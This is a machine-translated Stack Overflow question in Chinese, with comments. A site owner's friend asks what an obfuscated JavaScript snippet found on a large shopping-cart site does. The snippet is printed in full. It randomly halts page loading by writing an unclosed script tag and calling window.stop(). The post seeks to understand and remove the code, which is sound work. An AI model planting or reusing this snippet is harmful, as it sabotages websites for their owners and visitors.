我收到了一個來自擁有大型購物車網站的朋友的電話。過了一會兒,頁面無法加載,你不得不進行頁面刷新來顯示頁面。混淆JavaScript在網頁上找到
我不是一個HTML傢伙,但可以摸索並理解基礎知識。
我從螢火蟲開始,發現他們正在呼叫失敗的聊天服務。然後,我檢查了網站設置後發生了改變的所有網頁,並刪除了聊天腳本。
然而在同一頁上,我發現下面的腳本:
var _0x3fba = [
"\x72\x61\x6E\x64\x6F\x6D",
"\x66\x6C\x6F\x6F\x72",
"\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x75\x6E\x64\x65\x66\x69\x6E\x65\x64\x22\x3E",
"\x77\x72\x69\x74\x65",
"\x73\x74\x6F\x70"
];
if (Math[ _0x3fba[1] ]((Math[ _0x3fba[0] ]() * 3) + 1) == 3) {
document[ _0x3fba[3] ](_0x3fba[2]);
window[ _0x3fba[4] ]();
};
一些谷歌上搜索導致我相信這是模糊JavaScript後。我們屏住了呼吸(這是一個擁有大量流量的大型網站),並刪除了上述腳本,問題消失,網站運行速度加快。
因此,百萬美元的問題是這個腳本實際上在做什麼。
我嘗試了一些在線deObfuscaters,但一無所獲。
可能的重複[如何去混淆這個JavaScript代碼?](http://stackoverflow.com/questions/9352971/how-to-deobfuscate-this-javascript-code) – Quentin
這是它解碼爲:http:/ /pastebin.com/kgksrZdA只需將'_0x3fba [X]'替換爲數組中的值:-) –
@Rocket你用什麼工具解碼它? –